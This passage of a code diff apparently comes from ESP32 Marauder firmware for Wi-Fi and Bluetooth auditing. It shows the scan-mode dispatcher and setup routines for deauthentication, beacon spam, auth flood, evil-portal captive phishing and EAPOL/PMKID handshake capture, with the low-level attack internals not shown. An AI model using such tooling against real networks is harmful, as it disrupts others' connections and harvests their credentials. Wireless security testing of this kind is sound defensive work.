+        lv_obj_set_width(mbox1, 200);
+        //lv_obj_set_event_cb(mbox1, event_handler);
+        lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); //Align to the corner
+      #endif
+      WiFi.mode(WIFI_OFF);
+      return;
+    }
+  }
+  
+  #ifdef HAS_SCREEN
+    lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
+    lv_msgbox_set_text(mbox1, text_table4[4]);
+    lv_msgbox_add_btns(mbox1, btns);
+    lv_obj_set_width(mbox1, 200);
+    lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); //Align to the corner
+  #endif
+  connected_network = ssid;
+  
+  Serial.println("\nConnected to the WiFi network");
+  Serial.print("IP address: ");
+  Serial.println(WiFi.localIP());
+  this->wifi_initialized = true;
+}*/
+
+// Apply WiFi settings
+void WiFiScan::initWiFi(uint8_t scan_mode) {
+  // Set the channel
+  if (scan_mode != WIFI_SCAN_OFF) {
+    //Serial.println(F("Initializing WiFi settings..."));
+    this->changeChannel();
+  
+    this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
+    this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
+    this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
+    //Serial.println(F("Initialization complete"));
+  }
+}
+
+bool WiFiScan::scanning() {
+  if (this->currentScanMode == WIFI_SCAN_OFF)
+    return false;
+  else
+    return true;
+}
+
+// Function to prepare to run a specific scan
+void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
+{  
+  this->initWiFi(scan_mode);
+  if (scan_mode == WIFI_SCAN_OFF)
+    StopScan(scan_mode);
+  else if (scan_mode == WIFI_SCAN_PROBE)
+    RunProbeScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_EVIL_PORTAL)
+    RunEvilPortal(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_EAPOL)
+    RunEapolScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
+    RunEapolScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_ACTIVE_LIST_EAPOL)
+    RunEapolScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_AP)
+    RunBeaconScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_WAR_DRIVE)
+    RunBeaconScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_SIG_STREN)
+    RunRawScan(scan_mode, color);    
+  else if (scan_mode == WIFI_SCAN_RAW_CAPTURE)
+    RunRawScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_STATION)
+    RunStationScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_TARGET_AP)
+    RunAPScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
+    RunAPScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_PWN)
+    RunPwnScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_DEAUTH)
+    RunDeauthScan(scan_mode, color);
+  else if (scan_mode == WIFI_PACKET_MONITOR) {
+    #ifdef HAS_SCREEN
+      RunPacketMonitor(scan_mode, color);
+    #endif
+  }
+  else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
+    this->startWiFiAttacks(scan_mode, color, text_table1[50]);
+  else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
+    this->startWiFiAttacks(scan_mode, color, text_table1[51]);
+  else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
+    this->startWiFiAttacks(scan_mode, color, text_table1[52]);
+  else if (scan_mode == WIFI_ATTACK_AUTH)
+    this->startWiFiAttacks(scan_mode, color, text_table4[7]);
+  else if (scan_mode == WIFI_ATTACK_DEAUTH)
+    this->startWiFiAttacks(scan_mode, color, text_table4[8]);
+  else if (scan_mode == WIFI_ATTACK_DEAUTH_MANUAL)
+    this->startWiFiAttacks(scan_mode, color, text_table4[8]);
+  else if (scan_mode == WIFI_ATTACK_DEAUTH_TARGETED)
+    this->startWiFiAttacks(scan_mode, color, text_table4[47]);
+  else if (scan_mode == WIFI_ATTACK_AP_SPAM)
+    this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
+  else if (scan_mode == BT_SCAN_ALL) {
+    #ifdef HAS_BT
+      RunBluetoothScan(scan_mode, color);
+    #endif
+  }
+  else if (scan_mode == BT_SCAN_SKIMMERS) {
+    #ifdef HAS_BT
+      RunBluetoothScan(scan_mode, color);
+    #endif
+  }
+  else if (scan_mode == LV_ADD_SSID) {
+    #ifdef HAS_SCREEN
+      RunLvJoinWiFi(scan_mode, color);
+    #endif
+  }
+
+  WiFiScan::currentScanMode = scan_mode;
+}
+
+void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
+  // Common wifi attack configurations
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_BLACK, color);
+    display_obj.tft.fillRect(0,16,240,16, color);
+    display_obj.tft.drawCentreString((String)title_string,120,16,2);
+    display_obj.touchToExit();
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+  #endif
+
+  //wifi_ap_config_t ap_config;
+  //ap_config.ssid_hidden = 1;
+
+  ap_config.ap.ssid_hidden = 1;
+  ap_config.ap.beacon_interval = 10000;
+  ap_config.ap.ssid_len = 0;
+        
+  packets_sent = 0;
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_AP);
+  esp_wifi_set_config(WIFI_IF_AP, &ap_config);
+  esp_wifi_start();
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  
+  //WiFi.mode(WIFI_AP_STA);
+  
+  //esp_wifi_init(&cfg);
+  //esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  //esp_wifi_set_mode(WIFI_AP_STA);
+  //esp_wifi_start();
+  //esp_wifi_set_promiscuous_filter(NULL);
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_max_tx_power(82);
+  this->wifi_initialized = true;
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.attackLED();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.attackLED();
+  #else
+    led_obj.setMode(MODE_ATTACK);
+  #endif
+  initTime = millis();
+}
+
+bool WiFiScan::shutdownWiFi() {
+  if (this->wifi_initialized) {
+    esp_wifi_set_promiscuous(false);
+    WiFi.disconnect();
+    WiFi.mode(WIFI_OFF);
+
+    dst_mac = "ff:ff:ff:ff:ff:ff";
+  
+    esp_wifi_set_mode(WIFI_MODE_NULL);
+    esp_wifi_stop();
+    esp_wifi_restore();
+    esp_wifi_deinit();
+
+    #ifdef MARAUDER_FLIPPER
+      flipper_led.offLED();
+    #elif defined(XIAO_ESP32_S3)
+      xiao_led.offLED();
+    #else
+      led_obj.setMode(MODE_OFF);
+    #endif
+  
+    this->wifi_initialized = false;
+    return true;
+  }
+  else {
+    return false;
+  }
+}
+
+bool WiFiScan::shutdownBLE() {
+  #ifdef HAS_BT
+    if (this->ble_initialized) {
+      pBLEScan->stop();
+      
+      pBLEScan->clearResults();
+      BLEDevice::deinit();
+
+      #ifdef MARAUDER_FLIPPER
+        flipper_led.offLED();
+      #elif defined(XIAO_ESP32_S3)
+        xiao_led.offLED();
+      #else
+        led_obj.setMode(MODE_OFF);
+      #endif
+    
+      this->ble_initialized = false;
+      return true;
+    }
+    else {
+      return false;
+    }
+  #endif
+
+  return true;
+}
+
+// Function to stop all wifi scans
+void WiFiScan::StopScan(uint8_t scan_mode)
+{
+  if ((currentScanMode == WIFI_SCAN_PROBE) ||
+  (currentScanMode == WIFI_SCAN_AP) ||
+  (currentScanMode == WIFI_SCAN_WAR_DRIVE) ||
+  (currentScanMode == WIFI_SCAN_EVIL_PORTAL) ||
+  (currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
+  (currentScanMode == WIFI_SCAN_STATION) ||
+  (currentScanMode == WIFI_SCAN_SIG_STREN) ||
+  (currentScanMode == WIFI_SCAN_TARGET_AP) ||
+  (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
+  (currentScanMode == WIFI_SCAN_PWN) ||
+  (currentScanMode == WIFI_SCAN_EAPOL) ||
+  (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
+  (currentScanMode == WIFI_SCAN_ACTIVE_LIST_EAPOL) ||
+  (currentScanMode == WIFI_SCAN_ALL) ||
+  (currentScanMode == WIFI_SCAN_DEAUTH) ||
+  (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
+  (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
+  (currentScanMode == WIFI_ATTACK_AUTH) ||
+  (currentScanMode == WIFI_ATTACK_DEAUTH) ||
+  (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
+  (currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) ||
+  (currentScanMode == WIFI_ATTACK_MIMIC) ||
+  (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
+  (currentScanMode == WIFI_PACKET_MONITOR) ||
+  (currentScanMode == LV_JOIN_WIFI))
+  {
+    this->shutdownWiFi();
+  }
+
+  
+  else if ((currentScanMode == BT_SCAN_ALL) ||
+  (currentScanMode == BT_SCAN_SKIMMERS))
+  {
+    #ifdef HAS_BT
+      this->shutdownBLE();
+    #endif
+  }
+
+  #ifdef HAS_SCREEN
+    display_obj.display_buffer->clear();
+    #ifdef SCREEN_BUFFER
+      display_obj.screen_buffer->clear();
+    #endif
+    //Serial.print("display_buffer->size(): ");
+    Serial.println(display_obj.display_buffer->size());
+  
+    display_obj.tteBar = false;
+  #endif
+}
+
+String WiFiScan::getStaMAC()
+{
+  char *buf;
+  uint8_t mac[6];
+  char macAddrChr[18] = {0};
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
+  this->wifi_initialized = true;
+  sprintf(macAddrChr, 
+          "%02X:%02X:%02X:%02X:%02X:%02X",
+          mac[0],
+          mac[1],
+          mac[2],
+          mac[3],
+          mac[4],
+          mac[5]);
+  this->shutdownWiFi();
+  return String(macAddrChr);
+}
+
+String WiFiScan::getApMAC()
+{
+  char *buf;
+  uint8_t mac[6];
+  char macAddrChr[18] = {0};
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
+  this->wifi_initialized = true;
+  sprintf(macAddrChr, 
+          "%02X:%02X:%02X:%02X:%02X:%02X",
+          mac[0],
+          mac[1],
+          mac[2],
+          mac[3],
+          mac[4],
+          mac[5]);
+  this->shutdownWiFi();
+  return String(macAddrChr);
+}
+
+bool WiFiScan::mac_cmp(struct mac_addr addr1, struct mac_addr addr2) {
+  //Return true if 2 mac_addr structs are equal.
+  for (int y = 0; y < 6 ; y++) {
+    if (addr1.bytes[y] != addr2.bytes[y]) {
+      return false;
+    }
+  }
+  return true;
+}
+
+bool WiFiScan::seen_mac(unsigned char* mac) {
+  //Return true if this MAC address is in the recently seen array.
+
+  struct mac_addr tmp;
+  for (int x = 0; x < 6 ; x++) {
+    tmp.bytes[x] = mac[x];
+  }
+
+  for (int x = 0; x < mac_history_len; x++) {
+    if (this->mac_cmp(tmp, this->mac_history[x])) {
+      return true;
+    }
+  }
+  return false;
+}
+
+void WiFiScan::save_mac(unsigned char* mac) {
+  //Save a MAC address into the recently seen array.
+  if (this->mac_history_cursor >= mac_history_len) {
+    this->mac_history_cursor = 0;
+  }
+  struct mac_addr tmp;
+  for (int x = 0; x < 6 ; x++) {
+    tmp.bytes[x] = mac[x];
+  }
+
+  this->mac_history[this->mac_history_cursor] = tmp;
+  this->mac_history_cursor++;
+}
+
+String WiFiScan::security_int_to_string(int security_type) {
+  //Provide a security type int from WiFi.encryptionType(i) to convert it to a String which Wigle CSV expects.
+  String authtype = "";
+
+  switch (security_type) {
+    case WIFI_AUTH_OPEN:
+      authtype = "[OPEN]";
+      break;
+  
+    case WIFI_AUTH_WEP:
+      authtype = "[WEP]";
+      break;
+  
+    case WIFI_AUTH_WPA_PSK:
+      authtype = "[WPA_PSK]";
+      break;
+  
+    case WIFI_AUTH_WPA2_PSK:
+      authtype = "[WPA2_PSK]";
+      break;
+  
+    case WIFI_AUTH_WPA_WPA2_PSK:
+      authtype = "[WPA_WPA2_PSK]";
+      break;
+  
+    case WIFI_AUTH_WPA2_ENTERPRISE:
+      authtype = "[WPA2]";
+      break;
+
+    //Requires at least v2.0.0 of https://github.com/espressif/arduino-esp32/
+    case WIFI_AUTH_WPA3_PSK:
+      authtype = "[WPA3_PSK]";
+      break;
+
+    case WIFI_AUTH_WPA2_WPA3_PSK:
+      authtype = "[WPA2_WPA3_PSK]";
+      break;
+
+    case WIFI_AUTH_WAPI_PSK:
+      authtype = "[WAPI_PSK]";
+      break;
+        
+    default:
+      authtype = "[UNDEFINED]";
+  }
+
+  return authtype;
+}
+
+void WiFiScan::clearMacHistory() {
+    for (int i = 0; i < mac_history_len; ++i) {
+        memset(this->mac_history[i].bytes, 0, sizeof(mac_history[i].bytes));
+    }
+}
+
+String WiFiScan::freeRAM()
+{
+  char s[150];
+  sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
+  this->free_ram = String(esp_get_free_heap_size());
+  return String(s);
+}
+
+void WiFiScan::RunEvilPortal(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef WRITE_PACKETS_SERIAL
+    buffer_obj.open();
+  #elif defined(HAS_SD)
+    sd_obj.openLog("evil_portal");
+  #else
+    return;
+  #endif
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_WHITE, color);
+    #ifdef HAS_ILI9341
+      display_obj.tft.fillRect(0,16,240,16, color);
+      display_obj.tft.drawCentreString(" Evil Portal ",120,16,2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_MAGENTA, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+  evil_portal_obj.begin(ssids, access_points);
+  //if (!evil_portal_obj.begin(ssids, access_points)) {
+  //  Serial.println("Could not successfully start EvilPortal. Setting WIFI_SCAN_OFF...");
+  //  this->StartScan(WIFI_SCAN_OFF, TFT_MAGENTA);
+  //  return;
+  //}
+  //else
+  //  Serial.println("Setup EvilPortal. Current mode: " + this->currentScanMode);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+// Function to start running a beacon scan
+void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef WRITE_PACKETS_SERIAL
+    buffer_obj.open();
+  #elif defined(HAS_SD)
+    sd_obj.openCapture("ap");
+  #else
+    return;
+  #endif
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+
+  Serial.println(text_table4[9] + (String)access_points->size());
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_WHITE, color);
+    #ifdef HAS_ILI9341
+      display_obj.tft.fillRect(0,16,240,16, color);
+      display_obj.tft.drawCentreString(text_table4[44],120,16,2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+
+  delete access_points;
+  access_points = new LinkedList<AccessPoint>();
+
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
+  esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
+  //else
+  //  esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+#ifdef HAS_SCREEN
+  void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
+  
+    display_obj.tft.init();
+    display_obj.tft.setRotation(1);
+    
+    #ifdef TFT_SHIELD
+      uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
+      Serial.println("Using TFT Shield");
+    #else if defined(TFT_DIY)
+      uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
+      Serial.println("Using TFT DIY");
+    #endif
+    display_obj.tft.setTouch(calData);
+    
+  
+    lv_obj_t * scr = lv_cont_create(NULL, NULL);
+    lv_disp_load_scr(scr);
+  
+  }
+#endif
+
+void WiFiScan::RunClearStations() {
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, 100);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_CYAN);
+  
+    display_obj.tft.println(F(text_table4[45]));
+    display_obj.tft.println(text_table4[46] + (String)this->clearStations());
+  #else
+    this->clearStations();
+  #endif
+}
+
+void WiFiScan::RunClearAPs() {
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, 100);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_CYAN);
+  
+    display_obj.tft.println(F(text_table4[9]));
+    display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
+    display_obj.tft.println(F(text_table4[45]));
+    display_obj.tft.println(text_table4[46] + (String)this->clearStations());
+  #else
+    this->clearAPs();
+    this->clearStations();
+  #endif
+}
+
+void WiFiScan::RunClearSSIDs() {
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, 100);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_CYAN);
+  
+    display_obj.tft.println(F(text_table4[11]));
+    display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
+  #else
+    this->clearSSIDs();
+  #endif
+}
+
+void WiFiScan::RunGenerateSSIDs(int count) {
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, 100);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_CYAN);
+  
+    display_obj.tft.println(F(text_table4[13]));
+  
+    display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
+    display_obj.tft.println(text_table4[15] + (String)ssids->size());
+  #else
+    this->generateSSIDs(count);
+  #endif
+}
+
+/*void WiFiScan::RunShutdownBLE() {
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, 100);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_CYAN);
+  
+    display_obj.tft.print(F(text_table4[18]));
+  #endif
+
+  if (this->ble_initialized) {
+    this->shutdownBLE();
+    #ifdef HAS_SCREEN
+      display_obj.tft.setTextColor(TFT_GREEN);
+      display_obj.tft.println(F("OK"));
+    #endif
+  }
+  else {
+    #ifdef HAS_SCREEN
+      display_obj.tft.setTextColor(TFT_RED);
+      display_obj.tft.println(F(text17));
+      display_obj.tft.println(F(text_table4[19]));
+    #endif
+  }
+}*/
+
+void WiFiScan::RunGPSInfo() {
+  #ifdef HAS_GPS
+    Serial.println("Refreshing GPS Data on screen...");
+    #ifdef HAS_SCREEN
+
+      // Get screen position ready
+      display_obj.tft.setTextWrap(false);
+      display_obj.tft.setFreeFont(NULL);
+      display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
+      display_obj.tft.setTextSize(1);
+      display_obj.tft.setTextColor(TFT_CYAN);
+
+      // Clean up screen first
+      //display_obj.tft.fillRect(0, 0, 240, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
+      display_obj.tft.fillRect(0, (SCREEN_HEIGHT / 3) - 6, SCREEN_WIDTH, SCREEN_HEIGHT - ((SCREEN_HEIGHT / 3) - 6), TFT_BLACK);
+
+      // Print the GPS data: 3
+      display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
+      if (gps_obj.getFixStatus())
+        display_obj.tft.println("  Good Fix: Yes");
+      else
+        display_obj.tft.println("  Good Fix: No");
+        
+      display_obj.tft.println("Satellites: " + gps_obj.getNumSatsString());
+      display_obj.tft.println("  Latitude: " + gps_obj.getLat());
+      display_obj.tft.println(" Longitude: " + gps_obj.getLon());
+      display_obj.tft.println("  Altitude: " + (String)gps_obj.getAlt());
+      display_obj.tft.println("  Datetime: " + gps_obj.getDatetime());
+    #endif
+
+    // Display to serial
+    Serial.println("==== GPS Data ====");
+    if (gps_obj.getFixStatus())
+      Serial.println("  Good Fix: Yes");
+    else
+      Serial.println("  Good Fix: No");
+      
+    Serial.println("Satellites: " + gps_obj.getNumSatsString());
+    Serial.println("  Latitude: " + gps_obj.getLat());
+    Serial.println(" Longitude: " + gps_obj.getLon());
+    Serial.println("  Altitude: " + (String)gps_obj.getAlt());
+    Serial.println("  Datetime: " + gps_obj.getDatetime());
+  #endif
+}
+
+void WiFiScan::RunInfo()
+{
+  String sta_mac = this->getStaMAC();
+  String ap_mac = this->getApMAC();
+  String free_ram = this->freeRAM();
+
+  Serial.println(free_ram);
+
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_CYAN);
+    display_obj.tft.println(text_table4[20]);
+    display_obj.tft.println(text_table4[21] + display_obj.version_number);
+    display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
+  #endif
+
+  if (this->wsl_bypass_enabled) {
+    #ifdef HAS_SCREEN
+      display_obj.tft.println(text_table4[23]);
+    #endif
+  }
+  else {
+    #ifdef HAS_SCREEN
+      display_obj.tft.println(text_table4[24]);
+    #endif
+  }
+
+  #ifdef HAS_SCREEN
+    display_obj.tft.println(text_table4[25] + sta_mac);
+    display_obj.tft.println(text_table4[26] + ap_mac);
+    display_obj.tft.println(text_table4[27] + free_ram);
+  #endif
+
+  #ifdef WRITE_PACKETS_SERIAL
+    #ifdef HAS_SCREEN
+      display_obj.tft.println(text_table4[48]);
+    #endif
+  #elif defined(HAS_SD)
+    if (sd_obj.supported) {
+      #ifdef HAS_SCREEN
+        display_obj.tft.println(text_table4[28]);
+        display_obj.tft.print(text_table4[29]);
+        display_obj.tft.print(sd_obj.card_sz);
+        display_obj.tft.println("MB");
+      #endif
+    } else {
+      #ifdef HAS_SCREEN
+        display_obj.tft.println(text_table4[30]);
+        display_obj.tft.println(text_table4[31]);
+      #endif
+    }
+  #else
+    return;
+  #endif
+
+  #ifdef HAS_BATTERY
+    battery_obj.battery_level = battery_obj.getBatteryLevel();
+    if (battery_obj.i2c_supported) {
+      #ifdef HAS_SCREEN
+        display_obj.tft.println(text_table4[32]);
+        display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
+      #endif
+    }
+    else {
+      #ifdef HAS_SCREEN
+        display_obj.tft.println(text_table4[34]);
+      #endif
+    }
+  #endif
+  
+  //#ifdef HAS_SCREEN
+  //  display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
+  //#endif
+}
+
+void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+
+  #ifdef WRITE_PACKETS_SERIAL
+    buffer_obj.open();
+  #elif defined(HAS_SD)
+    sd_obj.openCapture("packet_monitor");
+  #else
+    return;
+  #endif
+
+  #ifdef HAS_ILI9341
+    
+    #ifdef HAS_SCREEN
+      display_obj.tft.init();
+      display_obj.tft.setRotation(1);
+      display_obj.tft.fillScreen(TFT_BLACK);
+    #endif
+  
+    #ifdef HAS_SCREEN
+      #ifdef TFT_SHIELD
+        uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
+        Serial.println("Using TFT Shield");
+      #else if defined(TFT_DIY)
+        uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
+        Serial.println("Using TFT DIY");
+      #endif
+      display_obj.tft.setTouch(calData);
+    
+      //display_obj.tft.setFreeFont(1);
+      display_obj.tft.setFreeFont(NULL);
+      display_obj.tft.setTextSize(1);
+      display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
+      display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
+    
+      delay(10);
+    
+      display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
+      display_obj.tftDrawColorKey();
+      display_obj.tftDrawXScaleButtons(x_scale);
+      display_obj.tftDrawYScaleButtons(y_scale);
+      display_obj.tftDrawChannelScaleButtons(set_channel);
+      display_obj.tftDrawExitScaleButtons();
+    #endif
+  #else
+    #ifdef HAS_SCREEN
+      display_obj.TOP_FIXED_AREA_2 = 48;
+      display_obj.tteBar = true;
+      display_obj.print_delay_1 = 15;
+      display_obj.print_delay_2 = 10;
+      display_obj.initScrollValues(true);
+      display_obj.tft.setTextWrap(false);
+      display_obj.tft.setTextColor(TFT_WHITE, color);
+      #ifdef HAS_ILI9341
+        display_obj.tft.fillRect(0,16,240,16, color);
+        display_obj.tft.drawCentreString(text_table4[38],120,16,2);
+        display_obj.touchToExit();
+      #endif
+      display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+      display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+    #endif
+  #endif
+
+  Serial.println("Running packet scan...");
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  uint32_t initTime = millis();
+}
+
+void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+  
+  num_eapol = 0;
+
+  #ifdef HAS_ILI9341
+    #ifdef HAS_SCREEN
+      display_obj.tft.init();
+      display_obj.tft.setRotation(1);
+      display_obj.tft.fillScreen(TFT_BLACK);
+    #endif
+  
+    #ifdef WRITE_PACKETS_SERIAL
+      buffer_obj.open();
+    #else
+      sd_obj.openCapture("eapol");
+    #endif
+  
+    #ifdef HAS_SCREEN
+      #ifdef TFT_SHIELD
+        uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
+        //Serial.println("Using TFT Shield");
+      #else if defined(TFT_DIY)
+        uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
+        //Serial.println("Using TFT DIY");
+      #endif
+      display_obj.tft.setTouch(calData);
+    
+      display_obj.tft.setFreeFont(NULL);
+      display_obj.tft.setTextSize(1);
+      display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
+      display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
+    
+      delay(10);
+    
+      display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
+      display_obj.tftDrawEapolColorKey();
+      display_obj.tftDrawChannelScaleButtons(set_channel);
+      display_obj.tftDrawExitScaleButtons();
+    #endif
+  #else
+    #ifdef WRITE_PACKETS_SERIAL
+      buffer_obj.open();
+    #elif defined(HAS_SD)
+      sd_obj.openCapture("eapol");
+    #else
+      return;
+    #endif
+    
+    #ifdef HAS_SCREEN
+      display_obj.TOP_FIXED_AREA_2 = 48;
+      display_obj.tteBar = true;
+      display_obj.print_delay_1 = 15;
+      display_obj.print_delay_2 = 10;
